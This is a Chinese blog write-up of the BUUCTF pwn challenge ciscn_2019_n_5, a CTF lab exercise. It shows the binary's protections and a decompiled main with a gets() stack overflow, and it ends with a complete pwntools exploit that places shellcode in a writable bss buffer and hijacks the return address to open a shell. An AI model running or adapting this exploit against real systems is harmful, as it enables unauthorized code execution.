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  • PWN

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    • ciscn 2019 n 5
      • 前提
        • 查看文件保护
      • 静态分析
      • 思路分析
      • exp
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  • 笔记
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Zephyr
2022-03-22
目录

ciscn 2019 n 5

# ciscn 2019 n 5

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/ciscn_2019_n_5/ciscn_2019_n_5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
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# 静态分析

主函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char text[30]; // [rsp+0h] [rbp-20h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  puts("tell me your name");
  read(0, name, 0x64uLL);
  puts("wow~ nice name!");
  puts("What do you want to say to me?");
  gets(text);
  return 0;
}
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# 思路分析

  1. 目前信息:

    • main函数内明显的栈溢出漏洞
    • No PIE
    • 有RWX权限
  2. 补充:

    • name变量在bss段长度为0x64字节
  3. 思路:

    • 可栈溢出,有RWX权限,考虑在name变量处写入shellcode,返回溢出劫持返回地址到该处以获得shell

# exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/ciscn_2019_n_5/ciscn_2019_n_5'
io = remote('node4.buuoj.cn', 28134)
# io = process(pwnfile)
elf = ELF(pwnfile)
padding = 0x20+8
bss_name = 0x601080
shellcode = asm(shellcraft.sh())
payload = flat([shellcode])
io.sendlineafter(' name\n', payload)
payload = flat(['a'*padding, bss_name])
io.sendlineafter(' to me?\n', payload)
io.interactive()
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#buuctf#pwn#StackOverflow
上次更新: 2022/08/15, 00:29:49
not the same 3dsctf 2016
others shellcode

← not the same 3dsctf 2016 others shellcode→

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